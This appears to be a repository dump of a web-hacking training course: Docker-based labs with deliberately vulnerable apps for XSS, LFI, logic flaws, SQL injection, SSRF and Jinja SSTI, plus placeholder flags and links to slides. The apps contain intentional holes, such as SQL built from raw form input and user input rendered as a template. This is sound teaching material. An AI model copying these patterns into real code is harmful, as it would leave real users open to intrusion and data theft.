    50 | 56 | 57 | 58 | -------------------------------------------------------------------------------- /lab/frontend/xss/app/uwsgi.ini: -------------------------------------------------------------------------------- 1 | [uwsgi] 2 | module = main 3 | callable = app 4 | -------------------------------------------------------------------------------- /lab/frontend/xss/bot/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8 2 | 3 | RUN apt update 4 | RUN apt install -f -y --no-install-recommends chromium chromium-driver redis-server 5 | RUN pip3 install selenium redis rq 6 | 7 | COPY xssbot.py /xssbot.py 8 | COPY run.sh /run.sh 9 | RUN chmod +x /run.sh 10 | RUN useradd --no-create-home --home-dir / --shell /bin/false user 11 | 12 | USER user 13 | CMD /run.sh -------------------------------------------------------------------------------- /lab/frontend/xss/bot/run.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | redis-server --protected-mode no & 3 | for _ in {1..4}; do 4 | rq worker & 5 | done 6 | sleep infinity 7 | -------------------------------------------------------------------------------- /lab/frontend/xss/bot/xssbot.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import time 3 | import os 4 | 5 | from selenium.webdriver import Chrome 6 | from selenium.webdriver.chrome.options import Options 7 | from selenium.common.exceptions import TimeoutException, WebDriverException 8 | 9 | 10 | 11 | TIMEOUT = 3 12 | 13 | def browse(url_path): 14 | options = Options() 15 | options.headless = True 16 | options.add_argument('--headless') 17 | options.add_argument('--no-sandbox') # https://stackoverflow.com/a/45846909 18 | options.add_argument('--disable-dev-shm-usage') # https://stackoverflow.com/a/50642913 19 | options.add_argument('--disable-gpu') 20 | chrome = Chrome(options=options) 21 | # https://stackoverflow.com/a/47695227 22 | chrome.set_page_load_timeout(TIMEOUT) 23 | chrome.set_script_timeout(TIMEOUT) 24 | 25 | # login 26 | base_url = 'http://h4ck3r.quest:8800/' 27 | chrome.get(base_url) 28 | chrome.find_element_by_name('username').send_keys('admin') 29 | chrome.find_element_by_name('password').send_keys(os.getenv('PASSWORD')) 30 | chrome.find_element_by_tag_name('button').click() 31 | 32 | # visit 33 | chrome.get(url_path) 34 | 35 | time.sleep(TIMEOUT) 36 | chrome.quit() 37 | -------------------------------------------------------------------------------- /lab/frontend/xss/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.5" 2 | 3 | x-share-env: &share-env 4 | PASSWORD: lab_password 5 | 6 | services: 7 | xss-me: 8 | depends_on: 9 | - xss-bot 10 | build: ./app 11 | volumes: 12 | - ./app/:/app 13 | ports: 14 | - 8800:80/tcp 15 | environment: 16 | <<: *share-env 17 | 18 | xss-bot: 19 | build: ./bot 20 | image: splitline/xssbot 21 | environment: 22 | <<: *share-env -------------------------------------------------------------------------------- /lab/lfi/HakkaMD/flag: -------------------------------------------------------------------------------- 1 | FLAG{lab_flag} -------------------------------------------------------------------------------- /lab/lfi/HakkaMD/src/index.php: -------------------------------------------------------------------------------- 1 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | HakkaMD 15 | 16 | 17 | 18 | 19 |
    20 |
    21 |
    22 | 23 |

    24 | 首頁 | 25 | 筆記列表 | 26 | phpinfo() 27 |

    28 |
    29 |
    30 |
    31 | 32 | 33 | -------------------------------------------------------------------------------- /lab/lfi/HakkaMD/src/module/home.php: -------------------------------------------------------------------------------- 1 |
    2 |

    HakkaMD

    3 |

    一個簡單的筆記平台

    4 |
    5 |
    6 |
    7 | 8 |
    9 |
    10 | 11 |
    12 |
    -------------------------------------------------------------------------------- /lab/lfi/HakkaMD/src/module/list.php: -------------------------------------------------------------------------------- 1 |

    筆記列表

    2 | 3 |
    4 | 5 |
    6 | -------------------------------------------------------------------------------- /lab/lfi/HakkaMD/src/module/post.php: -------------------------------------------------------------------------------- 1 | Admin Panel 2 |
    3 | 4 | 5 | 6 |
    7 | 8 | "admin", "password" => "lab_password"); 10 | if ( 11 | isset($_GET['username']) && isset($_GET['password']) && 12 | $_GET['username'] === $admin_account['username'] && $_GET['password'] === $admin_account['password'] 13 | ) { 14 | echo "

    LOGIN SUCCESS!

    ".getenv('FLAG')."

    "; 15 | } 16 | 17 | ?> -------------------------------------------------------------------------------- /lab/lfi/meow-site/inc/about.php: -------------------------------------------------------------------------------- 1 |
    2 |
    3 |
      4 |
    1. This a cool PHP website!
    2. 5 |
    3. MeowMeowMeowMeowMeowMeowMeow!
    4. 6 |
    5. Don't hack me!
    6. 7 |
    8 |
    9 |
    -------------------------------------------------------------------------------- /lab/lfi/meow-site/inc/home.php: -------------------------------------------------------------------------------- 1 |
    2 |

    Welcome to Meow Meow Website!

    3 | 4 |
    -------------------------------------------------------------------------------- /lab/lfi/meow-site/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Meow 9 | 10 | 11 | 12 | 13 | 32 | 33 |
    34 | 40 |
    41 | 42 | 43 | -------------------------------------------------------------------------------- /lab/logic-vulns/app/main.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, render_template, session, request 2 | import secrets 3 | 4 | app = Flask(__name__) 5 | app.secret_key = secrets.token_bytes() 6 | 7 | items = {5427: ("White Cat", 1024), 8 | 5428: ("Orange Cat", 1024), 9 | 5429: ("Ranibow Cat", 4096), 10 | 5430: ("FLAG", 2147483648), 11 | 5431: ("Evil Cat", 65536), 12 | 5432: ("Null Cat", 0)} 13 | 14 | 15 | @app.route("/") 16 | def home(): 17 | if 'money' not in session: 18 | session['money'] = 65536 19 | if 'stuff' not in session: 20 | session['stuff'] = [] 21 | return render_template("index.html", items=items) 22 | 23 | 24 | @app.route("/item/") 25 | def view_item(item_id): 26 | return render_template("item.html", item=items[item_id], item_id=item_id) 27 | 28 | 29 | @app.route("/buy", methods=['POST']) 30 | def buy_item(): 31 | cost = int(request.form.get("cost")) 32 | item_id = int(request.form.get("item_id")) 33 | if cost > session['money']: 34 | return "" 35 | session['money'] -= cost 36 | session['stuff'].append(items[item_id]) 37 | return "" 38 | 39 | 40 | if __name__ == "__main__": 41 | app.run(debug=True) 42 | -------------------------------------------------------------------------------- /lab/logic-vulns/app/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Cat Shop 9 | 10 | 11 | 12 | 13 | 40 | 41 |
    42 |
    43 |
    44 | {% for id, item in items.items() %} 45 |
    46 |
    47 |

    {{item.0}}

    48 |

    ${{item.1}}

    49 |
    50 | {% if item.0 == "FLAG" %} 51 | 🥲 52 | {% else %} 53 | Buy it! 54 | {% endif %} 55 |
    56 |
    57 | {% endfor %} 58 |
    59 |
    60 |

    Cat list

    61 |
      62 | {% for cat in session.stuff %} 63 |
    1. 64 | You got a(n) {{cat.0}} 🐱 65 | {% if cat.0 == "FLAG" %}FLAG{lab_flag}{% endif %} 66 |
    2. 67 | {% else %} 68 |

      You don't have any cat yet...

      69 | {% endfor %} 70 |
    71 |
    72 |
    73 | 74 | 75 | 76 | -------------------------------------------------------------------------------- /lab/logic-vulns/app/templates/item.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Cat Shop 9 | 10 | 11 | 12 | 13 |
    14 |
    15 |
    16 |
    17 |
    18 |

    You are buying...

    19 |

    A {{item.0}}

    20 |
    21 |
    22 |

    You have ${{session.money}}

    23 |

    This stuff costs ${{item.1}}

    24 |
    25 |
    26 | 27 | 28 | 29 |
    30 |
    31 | Cancel 32 |
    33 |
    34 |
    35 |
    36 |
    37 |
    38 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /lab/logic-vulns/app/uwsgi.ini: -------------------------------------------------------------------------------- 1 | [uwsgi] 2 | module = main 3 | callable = app -------------------------------------------------------------------------------- /lab/logic-vulns/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | cat-shop: 5 | image: tiangolo/uwsgi-nginx-flask:python3.8 6 | volumes: 7 | - ./app/:/app 8 | ports: 9 | - 8100:80/tcp -------------------------------------------------------------------------------- /lab/sql-injection/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | log-me-in: 5 | image: tiangolo/uwsgi-nginx-flask:python3.8 6 | volumes: 7 | - ./login-me/app/:/app 8 | ports: 9 | - 8200:80/tcp 10 | 11 | log-me-in-again: 12 | image: tiangolo/uwsgi-nginx-flask:python3.8 13 | volumes: 14 | - ./login-me-again/app/:/app 15 | ports: 16 | - 8201:80/tcp 17 | 18 | 19 | meow: 20 | build: ./meow 21 | ports: 22 | - "8202:80/tcp" 23 | depends_on: 24 | - meow-db 25 | 26 | meow-db: 27 | image: mariadb:10 28 | volumes: 29 | - ./meow/init.sql:/docker-entrypoint-initdb.d/init.sql:ro 30 | environment: 31 | - MYSQL_RANDOM_ROOT_PASSWORD=1 32 | - MYSQL_USER=user 33 | - MYSQL_PASSWORD=pa55w0rd 34 | - MYSQL_DATABASE=db 35 | restart: always 36 | -------------------------------------------------------------------------------- /lab/sql-injection/login-me-again/app/main.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, render_template, redirect, request, g, Response 2 | import sqlite3 3 | 4 | app = Flask(__name__) 5 | 6 | 7 | def get_db(): 8 | db = getattr(g, '_database', None) 9 | if db is None: 10 | db = g._database = sqlite3.connect('/tmp/database.db') 11 | db.row_factory = sqlite3.Row 12 | return db 13 | 14 | 15 | @app.before_first_request 16 | def init_db(): 17 | cursor = get_db().cursor() 18 | cursor.execute(""" 19 | CREATE TABLE IF NOT EXISTS "admin" ( 20 | "username" TEXT NOT NULL, 21 | "password" TEXT NOT NULL 22 | ) 23 | """) 24 | cursor.execute("SELECT COUNT(*) as count FROM admin WHERE username='admin'") 25 | count = cursor.fetchone()['count'] 26 | if count == 0: 27 | import secrets 28 | cursor.execute("INSERT INTO admin (username, password) VALUES (?,?)", 29 | ('admin', secrets.token_urlsafe())) 30 | get_db().commit() 31 | 32 | 33 | @app.teardown_appcontext 34 | def close_connection(exception): 35 | db = getattr(g, '_database', None) 36 | if db is not None: 37 | db.close() 38 | 39 | 40 | @app.route("/") 41 | def home(): 42 | return render_template("index.html", 43 | failed=request.args.get('failed') != None) 44 | 45 | 46 | @app.route("/login", methods=['POST']) 47 | def login(): 48 | username = request.form.get('username') 49 | password = request.form.get('password') 50 | 51 | if not username or not password: 52 | return redirect("/?failed") 53 | 54 | cur = get_db().execute(f"SELECT * FROM admin WHERE (username='{username}')") 55 | res = cur.fetchone() 56 | cur.close() 57 | 58 | if res['username'] == 'admin' and res['password'] == password: 59 | return "FLAG: FLAG{lab_flag}" 60 | 61 | return redirect("/?failed") 62 | 63 | 64 | 65 | @app.route("/source") 66 | def source(): 67 | import re 68 | source_code = open(__file__).read() 69 | source_code = re.sub(r'FLAG{.*}', r'FLAG{not_real_flag}', source_code, count=1) 70 | return Response(source_code, mimetype='text/plain') 71 | 72 | 73 | if __name__ == '__main__': 74 | app.run(debug=True) 75 | -------------------------------------------------------------------------------- /lab/sql-injection/login-me-again/app/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Log me in: Revenge 9 | 10 | 11 | 12 | 13 |
    14 |
    15 |
    16 |
    17 |

    Admin Panel

    18 | {% if failed %} 19 |
    20 |
    21 | Login failed Q_Q 22 |
    23 |
    24 | {% endif %} 25 |
    26 |
    27 |
    28 | 29 |
    30 |
    31 |
    32 |
    33 | 34 |
    35 |
    36 | 39 |
    40 |
    41 | Magic | Source code 42 |
    43 | 49 |
    50 |
    51 |
    52 | 53 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /lab/sql-injection/login-me-again/app/uwsgi.ini: -------------------------------------------------------------------------------- 1 | [uwsgi] 2 | module = main 3 | callable = app -------------------------------------------------------------------------------- /lab/sql-injection/login-me/app/main.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, render_template, redirect, request, g 2 | import sqlite3 3 | from base64 import b64encode 4 | 5 | app = Flask(__name__) 6 | 7 | 8 | def get_db(): 9 | db = getattr(g, '_database', None) 10 | if db is None: 11 | db = g._database = sqlite3.connect('/tmp/database.db') 12 | db.row_factory = sqlite3.Row 13 | return db 14 | 15 | 16 | @app.before_first_request 17 | def init_db(): 18 | cursor = get_db().cursor() 19 | cursor.execute(""" 20 | CREATE TABLE IF NOT EXISTS "admin" ( 21 | "username" TEXT NOT NULL, 22 | "password" TEXT NOT NULL 23 | ) 24 | """) 25 | cursor.execute("SELECT COUNT(*) as count FROM admin WHERE username='admin'") 26 | count = cursor.fetchone()['count'] 27 | if count == 0: 28 | import secrets 29 | cursor.execute("INSERT INTO admin (username, password) VALUES (?,?)", 30 | ('admin', secrets.token_urlsafe())) 31 | get_db().commit() 32 | 33 | 34 | @app.teardown_appcontext 35 | def close_connection(exception): 36 | db = getattr(g, '_database', None) 37 | if db is not None: 38 | db.close() 39 | 40 | 41 | @app.route("/") 42 | def home(): 43 | return render_template("index.html", 44 | failed=request.args.get('failed') != None) 45 | 46 | 47 | @app.route("/login", methods=['POST']) 48 | def login(): 49 | username = request.form.get('username') 50 | password = request.form.get('password') 51 | 52 | if not username or not password: 53 | return redirect("/?failed") 54 | 55 | cur = get_db().execute( 56 | f"SELECT * FROM admin WHERE (username='{username}') AND (password='{b64encode(password.encode()).decode()}')" 57 | ) 58 | res = cur.fetchone() 59 | cur.close() 60 | 61 | if res: 62 | return "FLAG{lab_flag}" 63 | 64 | return redirect("/?failed") 65 | 66 | 67 | if __name__ == '__main__': 68 | app.run(debug=True) 69 | -------------------------------------------------------------------------------- /lab/sql-injection/login-me/app/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Log me in 9 | 10 | 11 | 12 | 13 |
    14 |
    15 |
    16 |
    17 |

    Admin Panel

    18 | {% if failed %} 19 |
    20 |
    21 | Login failed Q_Q 22 |
    23 |
    24 | {% endif %} 25 |
    26 |
    27 |
    28 | 29 |
    30 |
    31 |
    32 |
    33 | 34 |
    35 |
    36 | 39 |
    40 |
    41 | Magic 42 |
    43 | 50 |
    51 |
    52 |
    53 | 54 | 59 | 60 | 61 | -------------------------------------------------------------------------------- /lab/sql-injection/login-me/app/uwsgi.ini: -------------------------------------------------------------------------------- 1 | [uwsgi] 2 | module = main 3 | callable = app -------------------------------------------------------------------------------- /lab/sql-injection/meow/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.4-apache 2 | RUN docker-php-ext-install pdo pdo_mysql mysqli 3 | EXPOSE 80 -------------------------------------------------------------------------------- /lab/sql-injection/meow/init.sql: -------------------------------------------------------------------------------- 1 | CREATE TABLE IF NOT EXISTS `news` ( 2 | `id` int NOT NULL PRIMARY KEY, 3 | `title` text NOT NULL, 4 | `content` text NOT NULL 5 | ); 6 | 7 | CREATE TABLE IF NOT EXISTS `flag` ( 8 | `id` int NOT NULL PRIMARY KEY, 9 | `the_flag` text NOT NULL 10 | ); 11 | 12 | 13 | INSERT IGNORE INTO `news` (`id`, `title`, `content`) VALUES 14 | (1, 'meow', 'meow'), 15 | (2, 'cat', 'owo'), 16 | (3, 'chiwawa', 'qwq'), 17 | (4, 'dog', 'oAo'), 18 | (5, 'shark', 'A.'); 19 | 20 | INSERT IGNORE INTO `flag` (`id`, `the_flag`) VALUES (1, 'FLAG{lab_flag}'); -------------------------------------------------------------------------------- /lab/sql-injection/meow/src/database.php: -------------------------------------------------------------------------------- 1 | connect_errno) { 4 | die("Failed to connect to MySQL: " . $db->connect_errno); 5 | } 6 | ?> -------------------------------------------------------------------------------- /lab/sql-injection/meow/src/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Meow 9 | 10 | 11 |
    12 |
    13 |
    14 |
    15 |

    16 | Meow 17 |

    18 |

    19 | nyan. 20 |

    21 |
    22 |
    23 |
    24 | query("select * from news"); 26 | while($res = $news->fetch_assoc()): 27 | ?> 28 |

    29 | 30 |

    31 | 32 |
    33 | 34 | -------------------------------------------------------------------------------- /lab/sql-injection/meow/src/view.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Meow 9 | 10 | 11 | query("select * from news where id=".$_GET['id'])->fetch_assoc(); 13 | ?> 14 |
    15 |
    16 |
    17 |

    18 | 19 |

    20 |
    21 |
    22 |
    23 |
    24 | 25 |
    26 | 27 | -------------------------------------------------------------------------------- /lab/ssrf/SSRFrog/docker-compose.yml: -------------------------------------------------------------------------------- 1 | 2 | version: "3.5" 3 | 4 | services: 5 | the.c0o0o0l-fl444g.server.internal: 6 | build: 7 | context: ./flag 8 | 9 | ssrfrog: 10 | build: 11 | context: ./src 12 | environment: 13 | - NODE_ENV=production 14 | ports: 15 | - 8501:3000/tcp -------------------------------------------------------------------------------- /lab/ssrf/SSRFrog/flag/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:14 2 | WORKDIR /app 3 | 4 | COPY ./ /app 5 | RUN npm install --no-bin-links 6 | 7 | CMD [ "npm", "start" ] -------------------------------------------------------------------------------- /lab/ssrf/SSRFrog/flag/app.js: -------------------------------------------------------------------------------- 1 | const express = require("express"); 2 | const { FLAG } = require("./secret"); 3 | 4 | const flagApp = express(); 5 | flagApp.get('/', (req, res) => { 6 | if (req.hostname === 'the.c0o0o0l-fl444g.server.internal') 7 | return res.send(FLAG); 8 | else 9 | return res.send('only accept the.c0o0o0l-fl444g.server.internal'); 10 | }); 11 | flagApp.listen(80, 'the.c0o0o0l-fl444g.server.internal'); -------------------------------------------------------------------------------- /lab/ssrf/SSRFrog/flag/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "ssrfrog-flag", 3 | "version": "0.0.0", 4 | "scripts": { 5 | "start": "node app.js" 6 | }, 7 | "dependencies": { 8 | "express": "^4.17.1" 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /lab/ssrf/SSRFrog/flag/secret.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | FLAG: "flag{C0o0o0oL_baby_ssrf_trick}" 3 | }; -------------------------------------------------------------------------------- /lab/ssrf/SSRFrog/src/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:14 2 | WORKDIR /app 3 | 4 | COPY ./ /app 5 | RUN npm install --no-bin-links 6 | 7 | CMD [ "npm", "start" ] -------------------------------------------------------------------------------- /lab/ssrf/SSRFrog/src/app.js: -------------------------------------------------------------------------------- 1 | const express = require("express"); 2 | const http = require("http"); 3 | 4 | const app = express(); 5 | 6 | app.get("/source", (req, res) => { 7 | return res.sendFile(__filename); 8 | }) 9 | app.get('/', (req, res) => { 10 | const { url } = req.query; 11 | if (!url || typeof url !== 'string') return res.sendFile(__dirname + "/index.html"); 12 | 13 | // no duplicate characters in `url` 14 | if (url.length !== new Set(url).size) return res.sendFile(__dirname + "/frog.png"); 15 | 16 | try { 17 | http.get(url, resp => { 18 | resp.setEncoding("utf-8"); 19 | resp.statusCode === 200 ? resp.on('data', data => res.send(data)) : res.send(":("); 20 | }).on('error', () => res.send("WTF?")); 21 | } catch (error) { 22 | res.send("WTF?"); 23 | } 24 | }); 25 | 26 | app.listen(3000, '0.0.0.0'); 27 | -------------------------------------------------------------------------------- /lab/ssrf/SSRFrog/src/bin/www: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | while true; do node /app/app.js; done; -------------------------------------------------------------------------------- /lab/ssrf/SSRFrog/src/frog.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/lab/ssrf/SSRFrog/src/frog.png -------------------------------------------------------------------------------- /lab/ssrf/SSRFrog/src/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | SSRFrog 11 | 12 | 14 | 15 | 16 |
    17 |
    18 |
    19 |
    20 |
    21 |
    22 | 23 | 24 |
    25 |
    26 |
    27 |
    28 |
    29 | 32 |
    33 | 34 | 35 | -------------------------------------------------------------------------------- /lab/ssrf/SSRFrog/src/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "ssrfrog", 3 | "version": "0.0.0", 4 | "scripts": { 5 | "start": "sh ./bin/www" 6 | }, 7 | "dependencies": { 8 | "express": "^4.17.1" 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /lab/ssrf/preview-card/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.5" 2 | 3 | services: 4 | preview-card: 5 | image: php:7.4-apache 6 | volumes: 7 | - ./src:/var/www/html 8 | ports: 9 | - 8500:80/tcp 10 | environment: 11 | - FLAG=FLAG{lab_flag} -------------------------------------------------------------------------------- /lab/ssrf/preview-card/src/flag.php: -------------------------------------------------------------------------------- 1 | 4 |
    5 | Do you want the FLAG? 6 | 7 |
    8 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Web Proxy 9 | 10 | 11 | 12 | 13 |
    14 |
    15 |
    16 |

    Web Preview Card

    17 | Web Preview | 18 | Flag (localhost only) 19 |
    20 |
    21 |
    22 | 23 | 24 | -------------------------------------------------------------------------------- /lab/ssrf/preview-card/src/preview.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Web Proxy 9 | 10 | 11 | 12 | 13 |
    14 |
    15 |
    16 | ⬅ HOME 17 |
    18 | 19 |
    20 |
    21 | 22 | (.+)<\/title>/i', $html, $matches_title); 27 | $description = preg_match('/ 29 | 30 |
    31 |

    Preview card

    32 |
    33 |

    34 | $matches_desc[1]

    " : '' ?> 35 | 36 |
    37 |
    38 |
    39 |

    Debug

    40 |
    41 | 42 | 43 |
    44 |
    45 |
    46 | 47 | 48 | -------------------------------------------------------------------------------- /lab/ssti/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | ssti: 5 | image: tiangolo/uwsgi-nginx-flask:python3.8 6 | volumes: 7 | - ./jinja/:/app 8 | - ./flag:/th1s_15_fl4ggggggg 9 | ports: 10 | - 8700:80/tcp -------------------------------------------------------------------------------- /lab/ssti/flag: -------------------------------------------------------------------------------- 1 | FLAG{lab_flag} -------------------------------------------------------------------------------- /lab/ssti/jinja/main.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, render_template_string, request, send_file 2 | 3 | app = Flask(__name__) 4 | 5 | 6 | @app.get("/") 7 | def home(): 8 | return render_template_string(""" 9 |
    10 | 11 | 12 |
    13 |

    Source code

    14 | """) 15 | 16 | 17 | @app.post("/") 18 | def welcome_message(): 19 | name = request.form.get('name') 20 | return render_template_string("

    Hello, " + name + "

    ") 21 | 22 | 23 | @app.get("/source") 24 | def source(): 25 | return send_file(__file__, mimetype="text/plain") 26 | 27 | 28 | if __name__ == '__main__': 29 | app.run(threaded=True, debug=True) 30 | -------------------------------------------------------------------------------- /lab/ssti/jinja/uwsgi.ini: -------------------------------------------------------------------------------- 1 | [uwsgi] 2 | module = main 3 | callable = app 4 | uid = 1000 5 | gid = 1000 -------------------------------------------------------------------------------- /slides/topic/Basic Injection (Code, Command, SQL).pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/topic/Basic Injection (Code, Command, SQL).pdf -------------------------------------------------------------------------------- /slides/topic/Deserialization.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/topic/Deserialization.pdf -------------------------------------------------------------------------------- /slides/topic/Fronted Security Basic (XSS, CSRF etc.).pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/topic/Fronted Security Basic (XSS, CSRF etc.).pdf -------------------------------------------------------------------------------- /slides/topic/Frontend Security Content Security Policy.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/topic/Frontend Security Content Security Policy.pdf -------------------------------------------------------------------------------- /slides/topic/Frontend Security DOM Clobbering.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/topic/Frontend Security DOM Clobbering.pdf -------------------------------------------------------------------------------- /slides/topic/Frontend Security Side Channel.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/topic/Frontend Security Side Channel.pdf -------------------------------------------------------------------------------- /slides/topic/JavaScript Prototype Pollution.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/topic/JavaScript Prototype Pollution.pdf -------------------------------------------------------------------------------- /slides/topic/Recon & Info leak.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/topic/Recon & Info leak.pdf -------------------------------------------------------------------------------- /slides/topic/SQL Injection.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/topic/SQL Injection.pdf -------------------------------------------------------------------------------- /slides/topic/SSRF.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/topic/SSRF.pdf -------------------------------------------------------------------------------- /slides/topic/Upload & LFI.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/topic/Upload & LFI.pdf -------------------------------------------------------------------------------- /slides/topic/Web Basic.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/topic/Web Basic.pdf -------------------------------------------------------------------------------- /slides/week/week1.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/week/week1.pdf -------------------------------------------------------------------------------- /slides/week/week2.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/week/week2.pdf -------------------------------------------------------------------------------- /slides/week/week3.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/week/week3.pdf --------------------------------------------------------------------------------